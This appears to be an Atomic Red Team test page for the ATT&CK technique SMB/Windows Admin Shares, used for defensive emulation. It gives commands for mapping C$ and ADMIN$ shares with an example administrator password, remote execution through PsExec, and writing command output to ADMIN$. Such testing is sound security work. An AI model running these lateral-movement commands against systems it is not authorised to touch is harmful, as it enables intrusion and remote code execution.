T1021.002
Remote Services: SMB/Windows Admin Shares
Description from ATT&CK
Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include
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C$
, and 1
ADMIN$
. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)1
IPC$
Atomic Tests
Atomic Test #1 - Map admin share
Connecting To Remote Shares
Supported Platforms: windows
auto_generated_guid: 3386975b-367a-4fbb-9d77-4dcf3639ffd3
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
user_name | Username | string | DOMAIN\Administrator |
share_name | Examples C$, IPC$, Admin$ | string | C$ |
password | Password | string | P@ssw0rd1 |
computer_name | Target Computer Name | string | Target |
Attack Commands: Run with command_prompt!
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cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Atomic Test #2 - Map Admin Share PowerShell
Map Admin share utilizing PowerShell
Supported Platforms: windows
auto_generated_guid: 514e9cd7-9207-4882-98b1-c8f791bae3c5
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
share_name | Examples C$, IPC$, Admin$ | string | C$ |
map_name | Mapped Drive Letter | string | g |
computer_name | Target Computer Name | string | Target |
Attack Commands: Run with powershell!
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New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
Atomic Test #3 - Copy and Execute File with PsExec
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from https://docs.microsoft.com/en-us/sysinternals/downloads/psexec.
Supported Platforms: windows
auto_generated_guid: 0eb03d41-79e4-4393-8e57-6344856be1cf
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
command_path | File to copy and execute | path | C:\Windows\System32\cmd.exe |
remote_host | Remote computer to receive the copy and execute the file | string | \localhost |
psexec_exe | Path to PsExec | string | PathToAtomicsFolder..\ExternalPayloads\PsExec.exe |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
Dependencies: Run with powershell!
Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})
Check Prereq Commands:
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if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_exe}" -Force
Atomic Test #4 - Execute command writing output to local Admin Share
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Supported Platforms: windows
auto_generated_guid: d41aaab5-bdfe-431d-a3d5-c29e9136ff46
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
output_file | Remote computer to receive the copy and execute the file | string | output.txt |
command_to_execute | Command to execute for output. | string | hostname |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1